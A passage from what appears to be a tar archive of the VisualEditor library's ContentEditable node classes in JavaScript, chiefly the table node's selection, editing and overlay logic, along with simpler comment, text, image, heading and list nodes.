	this.$element.addClass( 've-ce-commentNode' );
};

/* Inheritance */

OO.inheritClass( ve.ce.CommentNode, ve.ce.LeafNode );
OO.mixinClass( ve.ce.CommentNode, ve.ce.FocusableNode );

/* Static Properties */

ve.ce.CommentNode.static.name = 'comment';

ve.ce.CommentNode.static.primaryCommandName = 'comment';

ve.ce.CommentNode.static.iconWhenInvisible = 'notice';

/* Static Methods */

/**
 * @inheritdoc
 */
ve.ce.CommentNode.static.getDescription = function ( model ) {
	return model.getAttribute( 'text' );
};

/**
 * Update the rendering of the 'text' attribute
 * when it changes in the model.
 *
 * @param {string} key Attribute key
 * @param {string} from Old value
 * @param {string} to New value
 */
ve.ce.CommentNode.prototype.onAttributeChange = function ( key ) {
	if ( key === 'text' ) {
		this.updateInvisibleIconLabel();
	}
};

/* Method */

/**
 * @inheritdoc ve.ce.FocusableNode
 */
ve.ce.CommentNode.prototype.hasRendering = function () {
	// Comment nodes never have a rendering, don't bother with expensive DOM inspection
	return false;
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.CommentNode );
ce/nodes/ve.ce.PreformattedNode.js000066600000001442151334753760013065 0ustar00/*!
 * VisualEditor ContentEditable PreformattedNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable preformatted node.
 *
 * @class
 * @extends ve.ce.ContentBranchNode
 * @constructor
 * @param {ve.dm.PreformattedNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.PreformattedNode = function VeCePreformattedNode() {
	// Parent constructor
	ve.ce.PreformattedNode.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ce.PreformattedNode, ve.ce.ContentBranchNode );

/* Static Properties */

ve.ce.PreformattedNode.static.name = 'preformatted';

ve.ce.PreformattedNode.static.tagName = 'pre';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.PreformattedNode );
ce/nodes/ve.ce.CheckListNode.js000066600000001540151334753760012301 0ustar00/*!
 * VisualEditor ContentEditable CheckListNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable list node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.CheckListNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.CheckListNode = function VeCeCheckListNode() {
	// Parent constructor
	ve.ce.CheckListNode.super.apply( this, arguments );

	this.$element.addClass( 've-ce-checkListNode' );
};

/* Inheritance */

OO.inheritClass( ve.ce.CheckListNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.CheckListNode.static.name = 'checkList';

ve.ce.CheckListNode.static.tagName = 'ul';

ve.ce.CheckListNode.static.removeEmptyLastChildOnEnter = true;

/* Registration */

ve.ce.nodeFactory.register( ve.ce.CheckListNode );
ce/nodes/ve.ce.BreakNode.js000066600000001401151334753760011450 0ustar00/*!
 * VisualEditor ContentEditable BreakNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable break node.
 *
 * @class
 * @extends ve.ce.LeafNode
 * @constructor
 * @param {ve.dm.BreakNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.BreakNode = function VeCeBreakNode() {
	// Parent constructor
	ve.ce.BreakNode.super.apply( this, arguments );

	// DOM changes
	this.$element.addClass( 've-ce-breakNode' );
};

/* Inheritance */

OO.inheritClass( ve.ce.BreakNode, ve.ce.LeafNode );

/* Static Properties */

ve.ce.BreakNode.static.name = 'break';

ve.ce.BreakNode.static.tagName = 'br';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.BreakNode );
ce/nodes/ve.ce.TableNode.js000066600000042733151334753760011470 0ustar00/*!
 * VisualEditor ContentEditable TableNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable table node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.TableNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.TableNode = function VeCeTableNode() {
	// Parent constructor
	ve.ce.TableNode.super.apply( this, arguments );

	// Properties
	this.surface = null;
	this.active = false;
	this.startCell = null;
	this.endCell = null;
	// Stores the original table selection as
	// a fragment when entering cell edit mode
	this.editingFragment = null;

	// DOM changes
	this.$element
		.addClass( 've-ce-tableNode' )
		.prop( 'contentEditable', 'false' );
};

/* Inheritance */

OO.inheritClass( ve.ce.TableNode, ve.ce.BranchNode );

/* Static properties */

ve.ce.TableNode.static.autoFocus = false;

/* Methods */

/**
 * @inheritdoc
 */
ve.ce.TableNode.prototype.onSetup = function () {
	// Parent method
	ve.ce.TableNode.super.prototype.onSetup.call( this );

	// Exit if already setup or not attached
	if ( this.surface || !this.root ) {
		return;
	}
	this.surface = this.getRoot().getSurface();

	// Overlay
	this.$selectionBox = $( '<div>' ).addClass( 've-ce-tableNodeOverlay-selection-box' );
	this.$selectionBoxAnchor = $( '<div>' ).addClass( 've-ce-tableNodeOverlay-selection-box-anchor' );
	if ( OO.ui.isMobile() ) {
		this.nodeContext = new ve.ui.TableLineContext( this, 'table' );
	} else {
		this.nodeContext = null;
	}
	this.colContext = new ve.ui.TableLineContext( this, 'col' );
	this.rowContext = new ve.ui.TableLineContext( this, 'row' );

	this.$overlay = $( '<div>' )
		.addClass( 've-ce-tableNodeOverlay oo-ui-element-hidden' )
		.append(
			this.$selectionBox,
			this.$selectionBoxAnchor,
			this.nodeContext ? this.nodeContext.$element : undefined,
			this.colContext.$element,
			this.rowContext.$element,
			this.$rowBracket,
			this.$colBracket
		);
	this.surface.surface.$blockers.append( this.$overlay );

	// Events
	this.$element.on( {
		'mousedown.ve-ce-tableNode': this.onTableMouseDown.bind( this ),
		'dblclick.ve-ce-tableNode': this.onTableDblClick.bind( this )
	} );
	this.$overlay.on( {
		'mousedown.ve-ce-tableNode': this.onTableMouseDown.bind( this ),
		'dblclick.ve-ce-tableNode': this.onTableDblClick.bind( this )
	} );
	this.onTableMouseUpHandler = this.onTableMouseUp.bind( this );
	this.onTableMouseMoveHandler = this.onTableMouseMove.bind( this );
	// Select and position events both fire updateOverlay, so debounce. Also makes
	// sure that this.selectedRectangle is up to date before redrawing.
	this.updateOverlayDebounced = ve.debounce( this.updateOverlay.bind( this ) );
	this.surface.getModel().connect( this, { select: 'onSurfaceModelSelect' } );
	this.surface.connect( this, {
		position: this.updateOverlayDebounced,
		activation: 'onSurfaceActivation'
	} );
};

/**
 * @inheritdoc
 */
ve.ce.TableNode.prototype.onTeardown = function () {
	// Parent method
	ve.ce.TableNode.super.prototype.onTeardown.call( this );

	// Not yet setup
	if ( !this.surface ) {
		return;
	}

	// Events
	this.$element.off( '.ve-ce-tableNode' );
	this.$overlay.off( '.ve-ce-tableNode' );
	this.surface.getModel().disconnect( this );
	this.surface.disconnect( this );
	this.$overlay.remove();

	this.surface = null;
};

/**
 * Handle table double click events
 *
 * @param {jQuery.Event} e Double click event
 */
ve.ce.TableNode.prototype.onTableDblClick = function ( e ) {
	if ( !this.getCellNodeFromEvent( e ) ) {
		return;
	}
	if ( this.surface.getModel().getSelection() instanceof ve.dm.TableSelection ) {
		// Don't change selection in setEditing to avoid scrolling to bottom of cell
		this.setEditing( true, true );
		// getOffsetFromEventCoords doesn't work in ce=false in Firefox, so ensure
		// this is called after setEditing( true ).
		var offset = this.surface.getOffsetFromEventCoords( e.originalEvent );
		if ( offset !== -1 ) {
			// Set selection to where the double click happened
			this.surface.getModel().setLinearSelection( new ve.Range( offset ) );
		} else {
			this.setEditing( true );
		}
	}
};

/**
 * Handle mouse down or touch start events
 *
 * @param {jQuery.Event} e Mouse down or touch start event
 */
ve.ce.TableNode.prototype.onTableMouseDown = function ( e ) {
	var node = this;

	var cellNode = this.getCellNodeFromEvent( e );
	if ( !cellNode ) {
		return;
	}

	var endCell = this.getModel().getMatrix().lookupCell( cellNode.getModel() );
	if ( !endCell ) {
		e.preventDefault();
		return;
	}
	var selection = this.surface.getModel().getSelection();

	var startCell;
	var newSelection;
	if ( e.shiftKey && this.active ) {
		// Extend selection from the anchor cell
		if ( selection instanceof ve.dm.TableSelection ) {
			startCell = { col: selection.fromCol, row: selection.fromRow };
		} else {
			startCell = this.getModel().getMatrix().lookupCell( this.getActiveCellNode().getModel() );
		}
	} else if (
		( e.which === OO.ui.MouseButtons.RIGHT || this.surface.isDeactivated() ) &&
		selection instanceof ve.dm.TableSelection &&
		selection.containsCell( endCell )
	) {
		// Right click within the current selection, or any click in deactviated selection:
		// leave selection as is
		newSelection = selection;
		// Make sure there's a startCell
		startCell = this.startCell || endCell;
	} else {
		// Select single cell
		startCell = endCell;
	}

	if ( !newSelection ) {
		newSelection = new ve.dm.TableSelection(
			this.getModel().getOuterRange(),
			startCell.col,
			startCell.row,
			endCell.col,
			endCell.row
		);
		newSelection = newSelection.expand( this.getModel().getDocument() );
	}

	if ( this.editingFragment ) {
		if ( newSelection.equals( this.editingFragment.getSelection() ) ) {
			// Clicking on the editing cell, don't prevent default
			return;
		} else {
			this.setEditing( false, true );
		}
	}
	this.surface.getModel().setSelection( newSelection );
	// Ensure surface is active as native 'focus' event won't be fired
	this.surface.activate();

	// Right-click on a cell which isn't being edited
	if ( e.which === OO.ui.MouseButtons.RIGHT && !this.getActiveCellNode() ) {
		// The same technique is used in ve.ce.FocusableNode
		// Make ce=true so we get cut/paste options in the context menu
		cellNode.$element.prop( 'contentEditable', true );
		// Select the clicked element so we get a copy option in the context menu
		ve.selectElement( cellNode.$element[ 0 ] );
		setTimeout( function () {
			// Undo ce=true as soon as the context menu is shown
			cellNode.$element.prop( 'contentEditable', 'false' );
			// Trigger onModelSelect to restore the selection
			node.surface.onModelSelect();
		} );
		return;
	}

	this.startCell = startCell;
	this.endCell = endCell;
	if ( !( selection instanceof ve.dm.TableSelection ) && OO.ui.isMobile() ) {
		// On mobile, fall through to the double-click behavior on a single tap --
		// this will place the cursor within the cell, rather than remaining in
		// table-selection mode.
		// As we just have only just set the table selection, the surface is in
		// process of deactivating, so wait for the event loop to clear before
		// continuing.
		setTimeout( function () {
			node.onTableDblClick( e );
		} );
	} else {
		this.surface.$document.on( {
			'mouseup touchend': this.onTableMouseUpHandler,
			'mousemove touchmove': this.onTableMouseMoveHandler
		} );
	}
	e.preventDefault();
};

/**
 * Get a table cell node from a mouse event
 *
 * Works around various issues with touch events and browser support.
 *
 * @param {jQuery.Event} e Mouse event
 * @return {ve.ce.TableCellNode|null} Table cell node
 */
ve.ce.TableNode.prototype.getCellNodeFromEvent = function ( e ) {
	// 'touchmove' doesn't give a correct e.target, so calculate it from coordinates
	if ( e.type === 'touchstart' && e.originalEvent.touches.length > 1 ) {
		// Ignore multi-touch
		return null;
	} else if ( e.type === 'touchmove' ) {
		if ( e.originalEvent.touches.length > 1 ) {
			// Ignore multi-touch
			return null;
		}
		var touch = e.originalEvent.touches[ 0 ];
		return this.getCellNodeFromPoint( touch.clientX, touch.clientY );
	} else {
		return this.getNearestCellNode( e.target );
	}
};

/**
 * Get the cell node from a point
 *
 * @param {number} x X offset
 * @param {number} y Y offset
 * @return {ve.ce.TableCellNode|null} Table cell node, or null if none found
 */
ve.ce.TableNode.prototype.getCellNodeFromPoint = function ( x, y ) {
	return this.getNearestCellNode(
		this.surface.getElementDocument().elementFromPoint( x, y )
	);
};

/**
 * Get the nearest cell node in this table to an element
 *
 * If the nearest cell node is in another table, return null.
 *
 * @param {HTMLElement} element Element target to find nearest cell node to
 * @return {ve.ce.TableCellNode|null} Table cell node, or null if none found
 */
ve.ce.TableNode.prototype.getNearestCellNode = function ( element ) {
	var $element = $( element ),
		$table = $element.closest( 'table' );

	// Nested table, ignore
	if ( !this.$element.is( $table ) ) {
		return null;
	}

	return $element.closest( 'td, th' ).data( 'view' );
};

/**
 * Handle mouse/touch move events
 *
 * @param {jQuery.Event} e Mouse/touch move event
 */
ve.ce.TableNode.prototype.onTableMouseMove = function ( e ) {
	var endCellNode = this.getCellNodeFromEvent( e );
	if ( !endCellNode ) {
		return;
	}

	var endCell = this.getModel().matrix.lookupCell( endCellNode.getModel() );
	if ( !endCell || endCell === this.endCell ) {
		return;
	}

	this.endCell = endCell;

	var selection = new ve.dm.TableSelection(
		this.getModel().getOuterRange(),
		this.startCell.col, this.startCell.row, endCell.col, endCell.row
	);
	selection = selection.expand( this.getModel().getDocument() );
	this.surface.getModel().setSelection( selection );
};

/**
 * Handle mouse up or touch end events
 *
 * @param {jQuery.Event} e Mouse up or touch end event
 */
ve.ce.TableNode.prototype.onTableMouseUp = function () {
	this.startCell = null;
	this.endCell = null;
	this.surface.$document.off( {
		'mouseup touchend': this.onTableMouseUpHandler,
		'mousemove touchmove': this.onTableMouseMoveHandler
	} );
};

/**
 * Set the editing state of the table
 *
 * @param {boolean} isEditing The table is being edited
 * @param {boolean} noSelect Don't change the selection
 */
ve.ce.TableNode.prototype.setEditing = function ( isEditing, noSelect ) {
	var surfaceModel = this.surface.getModel(),
		documentModel = surfaceModel.getDocument(),
		selection = surfaceModel.getSelection();

	if ( isEditing ) {
		if ( !selection.isSingleCell( documentModel ) ) {
			selection = selection.collapseToFrom();
			this.surface.getModel().setSelection( selection );
		}
		var cell = this.getCellNodesFromSelection( selection )[ 0 ];
		if ( !cell.isCellEditable() ) {
			return;
		}
		this.editingFragment = this.surface.getModel().getFragment( selection );
		cell.setEditing( true );
		if ( !noSelect ) {
			var cellRange = cell.getModel().getRange();
			var offset = surfaceModel.getDocument().data.getNearestContentOffset( cellRange.end, -1 );
			if ( offset > cellRange.start ) {
				surfaceModel.setLinearSelection( new ve.Range( offset ) );
			}
		}
	} else {
		var activeCellNode;
		if ( ( activeCellNode = this.getActiveCellNode() ) ) {
			activeCellNode.setEditing( false );
			if ( !noSelect ) {
				surfaceModel.setSelection( this.editingFragment.getSelection() );
			}
		}
		this.editingFragment = null;
	}

	this.$element.toggleClass( 've-ce-tableNode-editing', isEditing );
	this.$overlay.toggleClass( 've-ce-tableNodeOverlay-editing', isEditing );
};

/**
 * Handle select events from the surface model.
 *
 * @param {ve.dm.Selection} selection
 */
ve.ce.TableNode.prototype.onSurfaceModelSelect = function ( selection ) {
	// The table is active if there is a linear selection inside a cell being edited
	// or a table selection matching this table.
	var active =
		(
			this.editingFragment !== null &&
			selection instanceof ve.dm.LinearSelection &&
			this.editingFragment.getSelection().getRanges(
				this.editingFragment.getDocument()
			)[ 0 ].containsRange( selection.getRange() )
		) ||
		(
			selection instanceof ve.dm.TableSelection &&
			selection.tableRange.equalsSelection( this.getModel().getOuterRange() )
		);

	if ( active ) {
		if ( !this.active ) {
			this.$overlay.removeClass( 'oo-ui-element-hidden' );
			// Only register touchstart event after table has become active to prevent
			// accidental focusing of the table while scrolling
			this.$element.on( 'touchstart.ve-ce-tableNode', this.onTableMouseDown.bind( this ) );
		}
		// Ignore update the overlay if the table selection changed, i.e. not an in-cell selection change
		if ( selection instanceof ve.dm.TableSelection ) {
			if ( this.editingFragment ) {
				this.setEditing( false, true );
			}
			this.updateOverlayDebounced();
		}
	} else if ( !active && this.active ) {
		this.$overlay.addClass( 'oo-ui-element-hidden' );
		if ( this.editingFragment ) {
			this.setEditing( false, true );
		}
		// When the table of the active node is deactivated, clear the active node
		if ( this.getActiveCellNode() ) {
			this.surface.setActiveNode( null );
		}
		this.$element.off( 'touchstart.ve-ce-tableNode' );
	}
	this.$element.toggleClass( 've-ce-tableNode-active', active );
	this.active = active;
};

/**
 * Get the active node in this table, if it has one
 *
 * @return {ve.ce.TableNode|null} The active cell node in this table
 */
ve.ce.TableNode.prototype.getActiveCellNode = function () {
	var activeNode = this.surface.getActiveNode(),
		tableNodeOfActiveCellNode = activeNode && activeNode instanceof ve.ce.TableCellNode && activeNode.findParent( ve.ce.TableNode );

	return tableNodeOfActiveCellNode === this ? activeNode : null;
};

/**
 * Handle activation events from the surface
 */
ve.ce.TableNode.prototype.onSurfaceActivation = function () {
	this.$overlay.toggleClass( 've-ce-tableNodeOverlay-deactivated', !!this.surface.isShownAsDeactivated() );
};

/**
 * Update the overlay positions
 */
ve.ce.TableNode.prototype.updateOverlay = function () {
	if (
		!this.active || !this.root ||
		!this.surface ||
		// Overlay isn't attached, e.g. in tests
		!this.surface.surface.$blockers[ 0 ].parentNode
	) {
		return;
	}

	var selection = this.editingFragment ?
		this.editingFragment.getSelection() :
		this.surface.getModel().getSelection();
	var documentModel = this.editingFragment ?
		this.editingFragment.getDocument() :
		this.surface.getModel().getDocument();
	// getBoundingClientRect is more accurate but must be used consistently
	// due to the iOS7 bug where it is relative to the document.
	var tableOffset = this.getFirstSectionNode().$element[ 0 ].getBoundingClientRect();
	var surfaceOffset = this.surface.getSurface().$element[ 0 ].getBoundingClientRect();

	if ( !tableOffset ) {
		return;
	}

	var selectionRect = this.surface.getSelection( selection ).getSelectionBoundingRect();

	if ( !selectionRect ) {
		return;
	}

	// Compute a bounding box for the given cell elements
	var selectionOffset = ve.translateRect(
		selectionRect,
		surfaceOffset.left - tableOffset.left, surfaceOffset.top - tableOffset.top
	);

	var anchorOffset;
	if ( selection.isSingleCell( documentModel ) ) {
		// Optimization, use same rects as whole selection
		anchorOffset = selectionOffset;
	} else {
		anchorOffset = ve.translateRect(
			this.surface.getSelection( selection.collapseToFrom() ).getSelectionBoundingRect(),
			surfaceOffset.left - tableOffset.left, surfaceOffset.top - tableOffset.top
		);
	}

	// Resize controls
	this.$selectionBox.css( {
		top: selectionOffset.top,
		left: selectionOffset.left,
		width: selectionOffset.width,
		height: selectionOffset.height
	} );
	this.$selectionBoxAnchor.css( {
		top: anchorOffset.top,
		left: anchorOffset.left,
		width: anchorOffset.width,
		height: anchorOffset.height
	} );

	// Position controls
	this.$overlay.css( {
		top: tableOffset.top - surfaceOffset.top,
		left: tableOffset.left - surfaceOffset.left,
		width: tableOffset.width
	} );
	// this.nodeContext doesn't need to adjust to the line
	this.colContext.icon.$element.css( {
		left: selectionOffset.left,
		width: selectionOffset.width
	} );
	this.rowContext.icon.$element.css( {
		top: selectionOffset.top,
		height: selectionOffset.height
	} );

	if ( this.nodeContext ) {
		this.nodeContext.$element.toggleClass( 'oo-ui-element-hidden', this.surface.isReadOnly() );
	}
	this.colContext.$element.toggleClass( 'oo-ui-element-hidden', this.surface.isReadOnly() );
	this.rowContext.$element.toggleClass( 'oo-ui-element-hidden', this.surface.isReadOnly() );

	// Classes
	this.$selectionBox.toggleClass( 've-ce-tableNodeOverlay-selection-box-notEditable', !selection.isEditable( documentModel ) );
};

/**
 * Get the first section node of the table, skipping over any caption nodes
 *
 * @return {ve.ce.TableSectionNode} First table section node
 */
ve.ce.TableNode.prototype.getFirstSectionNode = function () {
	var i = 0;
	while ( !( this.children[ i ] instanceof ve.ce.TableSectionNode ) ) {
		i++;
	}
	return this.children[ i ];
};

/**
 * Get a cell node from a single cell selection
 *
 * @param {ve.dm.TableSelection} selection Single cell table selection
 * @return {ve.ce.TableCellNode[]} Cell nodes
 */
ve.ce.TableNode.prototype.getCellNodesFromSelection = function ( selection ) {
	var cells = selection.getMatrixCells( this.getModel().getDocument() ),
		nodes = [];

	for ( var i = 0, l = cells.length; i < l; i++ ) {
		var cellModel = cells[ i ].node;
		var cellView = this.getNodeFromOffset( cellModel.getOffset() - this.model.getOffset() );
		nodes.push( cellView );
	}
	return nodes;
};

/* Static Properties */

ve.ce.TableNode.static.name = 'table';

ve.ce.TableNode.static.tagName = 'table';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.TableNode );
ce/nodes/ve.ce.BlockImageCaptionNode.js000066600000002047151334753760013746 0ustar00/*!
 * VisualEditor ContentEditable block image caption node class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable block image caption item node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @mixins ve.ce.ActiveNode
 *
 * @constructor
 * @param {ve.dm.BlockImageCaptionNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.BlockImageCaptionNode = function VeCeBlockImageCaptionNode() {
	// Parent constructor
	ve.ce.BlockImageCaptionNode.super.apply( this, arguments );

	// Mixin constructor
	ve.ce.ActiveNode.call( this );
};

/* Inheritance */

OO.inheritClass( ve.ce.BlockImageCaptionNode, ve.ce.BranchNode );

OO.mixinClass( ve.ce.BlockImageCaptionNode, ve.ce.ActiveNode );

/* Static Properties */

ve.ce.BlockImageCaptionNode.static.name = 'imageCaption';

ve.ce.BlockImageCaptionNode.static.tagName = 'figcaption';

ve.ce.BlockImageCaptionNode.static.isMultiline = false;

/* Registration */

ve.ce.nodeFactory.register( ve.ce.BlockImageCaptionNode );
ce/nodes/ve.ce.TextNode.js000066600000003604151334753760011357 0ustar00/*!
 * VisualEditor ContentEditable TextNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable text node.
 *
 * @class
 * @extends ve.ce.LeafNode
 * @constructor
 * @param {ve.dm.TextNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.TextNode = function VeCeTextNode() {
	// Parent constructor
	ve.ce.TextNode.super.apply( this, arguments );

	this.$element = $( [] );
};

/* Inheritance */

OO.inheritClass( ve.ce.TextNode, ve.ce.LeafNode );

/* Static Properties */

ve.ce.TextNode.static.name = 'text';

ve.ce.TextNode.static.splitOnEnter = true;

// Deprecated alias
ve.ce.TextNode.static.whitespaceHtmlCharacters = ve.visibleWhitespaceCharacters;

/* Methods */

/**
 * Get an HTML rendering of the text.
 *
 * @return {Array} Array of rendered HTML fragments with annotations
 */
ve.ce.TextNode.prototype.getAnnotatedHtml = function () {
	var data = this.model.getDocument().getDataFromNode( this.model ),
		whitespaceHtmlChars = ve.visibleWhitespaceCharacters,
		significantWhitespace = this.getModel().getParent().hasSignificantWhitespace();

	function setChar( chr, index ) {
		if ( Array.isArray( data[ index ] ) ) {
			// Don't modify the original array, clone it first
			data[ index ] = data[ index ].slice( 0 );
			data[ index ][ 0 ] = chr;
		} else {
			data[ index ] = chr;
		}
	}

	function getChar( index ) {
		if ( Array.isArray( data[ index ] ) ) {
			return data[ index ][ 0 ];
		} else {
			return data[ index ];
		}
	}

	if ( !significantWhitespace ) {
		for ( var i = 0; i < data.length; i++ ) {
			var char = getChar( i );
			// Show meaningful whitespace characters
			if ( Object.prototype.hasOwnProperty.call( whitespaceHtmlChars, char ) ) {
				setChar( whitespaceHtmlChars[ char ], i );
			}
		}
	}

	return data;
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.TextNode );
ce/nodes/ve.ce.ImageNode.js000066600000004414151334753760011455 0ustar00/*!
 * VisualEditor ContentEditable ImageNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable image node.
 *
 * @class
 * @abstract
 * @mixins ve.ce.FocusableNode
 * @mixins ve.ce.ResizableNode
 *
 * @constructor
 * @param {jQuery} $figure Image or figure element
 * @param {jQuery} [$image] Actual image element, if $figure is just a container
 * @param {Object} [config] Configuration options
 */
ve.ce.ImageNode = function VeCeImageNode( $figure, $image, config ) {
	config = ve.extendObject( {
		enforceMax: false,
		minDimensions: { width: 1, height: 1 },
		$bounding: this.$element
	}, config );

	this.$figure = $figure;
	this.$image = $image || $figure;

	// Mixin constructors
	ve.ce.FocusableNode.call( this, this.$figure, config );
	ve.ce.ResizableNode.call( this, this.$image, config );

	// Events
	this.$image.on( 'load', this.onLoad.bind( this ) );
	this.model.connect( this, { attributeChange: 'onAttributeChange' } );

	// Initialization
	this.$element.addClass( 've-ce-imageNode' );
};

/* Inheritance */

OO.mixinClass( ve.ce.ImageNode, ve.ce.FocusableNode );

OO.mixinClass( ve.ce.ImageNode, ve.ce.ResizableNode );

/* Static Methods */

/**
 * @inheritdoc ve.ce.Node
 */
ve.ce.ImageNode.static.getDescription = function ( model ) {
	return model.getAttribute( 'src' );
};

/* Methods */

/**
 * Update the rendering of the 'align', src', 'width' and 'height' attributes
 * when they change in the model.
 *
 * @param {string} key Attribute key
 * @param {string} from Old value
 * @param {string} to New value
 */
ve.ce.ImageNode.prototype.onAttributeChange = function ( key, from, to ) {
	switch ( key ) {
		case 'src':
			this.$image.prop( 'src', this.getResolvedAttribute( 'src' ) );
			break;

		case 'width':
		case 'height':
			this.$image.css( key, to !== null ? to : '' );
			break;
	}
};

/**
 * Handle the image load
 *
 * @param {jQuery.Event} e Load event
 */
ve.ce.ImageNode.prototype.onLoad = function () {
	if ( !this.model ) {
		// This node has probably been destroyed. (Currently there's no easy way for
		// a mixin class to disconnect listeners on destroy)
		return;
	}
	this.setOriginalDimensions( {
		width: this.$image.prop( 'naturalWidth' ),
		height: this.$image.prop( 'naturalHeight' )
	} );
};
ce/nodes/ve.ce.HeadingNode.js000066600000003215151334753760011770 0ustar00/*!
 * VisualEditor ContentEditable HeadingNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable heading node.
 *
 * @class
 * @extends ve.ce.ContentBranchNode
 * @constructor
 * @param {ve.dm.HeadingNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.HeadingNode = function VeCeHeadingNode() {
	// Parent constructor
	ve.ce.HeadingNode.super.apply( this, arguments );

	// Events
	this.model.connect( this, { update: 'onUpdate' } );
};

/* Inheritance */

OO.inheritClass( ve.ce.HeadingNode, ve.ce.ContentBranchNode );

/* Static Properties */

ve.ce.HeadingNode.static.name = 'heading';

/* Methods */

/**
 * @inheritdoc
 */
ve.ce.HeadingNode.prototype.initialize = function () {
	ve.ce.HeadingNode.super.prototype.initialize.call( this );
	this.$element.addClass( 've-ce-headingNode' );
};

/**
 * Get the HTML tag name.
 *
 * Tag name is selected based on the model's level attribute.
 *
 * @return {string} HTML tag name
 * @throws {Error} If level is invalid
 */
ve.ce.HeadingNode.prototype.getTagName = function () {
	var level = this.model.getAttribute( 'level' ),
		types = { 1: 'h1', 2: 'h2', 3: 'h3', 4: 'h4', 5: 'h5', 6: 'h6' };

	if ( !Object.prototype.hasOwnProperty.call( types, level ) ) {
		throw new Error( 'Invalid level' );
	}
	return types[ level ];
};

/**
 * Handle model update events.
 *
 * If the level changed since last update the DOM wrapper will be replaced with an appropriate one.
 */
ve.ce.HeadingNode.prototype.onUpdate = function () {
	this.updateTagName();
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.HeadingNode );
ce/nodes/ve.ce.InternalItemNode.js000066600000001474151334753760013031 0ustar00/*!
 * VisualEditor InternalItemNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable internal item node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.InternalItemNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.InternalItemNode = function VeCeInternalItemNode() {
	// Parent constructor
	ve.ce.InternalItemNode.super.apply( this, arguments );

	this.$element.addClass( 've-ce-internalItemNode' );
};

/* Inheritance */

OO.inheritClass( ve.ce.InternalItemNode, ve.ce.BranchNode );

/* Static Properties */

ve.ce.InternalItemNode.static.name = 'internalItem';

ve.ce.InternalItemNode.static.tagName = 'span';

/* Registration */

ve.ce.nodeFactory.register( ve.ce.InternalItemNode );
ce/nodes/ve.ce.DocumentNode.js000066600000003457151334753760012217 0ustar00/*!
 * VisualEditor ContentEditable DocumentNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable document node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @mixins ve.ce.ContentEditableNode
 * @constructor
 * @param {ve.dm.DocumentNode} model Model to observe
 * @param {ve.ce.Surface} surface Surface document is part of
 * @param {Object} [config] Configuration options
 */
ve.ce.DocumentNode = function VeCeDocumentNode( model, surface, config ) {
	// Properties
	this.surface = surface;

	// Parent constructor
	ve.ce.DocumentNode.super.call( this, model, config );

	// Mixin constructor
	ve.ce.ContentEditableNode.call( this );

	// Set root
	this.setRoot( this );

	// DOM changes
	// TODO: Remove ve-ce-rootNode class
	this.$element
		.addClass( 've-ce-documentNode ve-ce-attachedRootNode ve-ce-rootNode' )
		.attr( 'tabindex', 0 );
	// Prevent Grammarly from polluting the DOM (T165746)
	this.$element.attr( 'data-gramm', 'false' );

	this.$element.attr( 'role', 'textbox' );
};

/* Inheritance */

OO.inheritClass( ve.ce.DocumentNode, ve.ce.BranchNode );
OO.mixinClass( ve.ce.DocumentNode, ve.ce.ContentEditableNode );

/* Events */

/* Static Properties */

ve.ce.DocumentNode.static.name = 'document';

/* Methods */

/**
 * Get the outer length.
 *
 * For a document node is the same as the inner length, which is why we override it here.
 *
 * @return {number} Length of the entire node
 */
ve.ce.DocumentNode.prototype.getOuterLength = function () {
	return this.length;
};

/**
 * Get the surface the document is attached to.
 *
 * @return {ve.ce.Surface} Surface the document is attached to
 */
ve.ce.DocumentNode.prototype.getSurface = function () {
	return this.surface;
};

/* Registration */

ve.ce.nodeFactory.register( ve.ce.DocumentNode );
ce/nodes/ve.ce.CheckListItemNode.js000066600000003632151334753760013124 0ustar00/*!
 * VisualEditor ContentEditable CheckListItemNode class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * ContentEditable list item node.
 *
 * @class
 * @extends ve.ce.BranchNode
 * @constructor
 * @param {ve.dm.CheckListItemNode} model Model to observe
 * @param {Object} [config] Configuration options
 */
ve.ce.CheckListItemNode = function VeCeCheckListItemNode() {
	// Parent constructor
	ve.ce.CheckListItemNode.super.apply( this, arguments );

	this.$element.addClass( 've-ce-checkListItemNode' );

	// Events
	this.model.connect( this, { attributeChange: 'onAttributeChange' } );
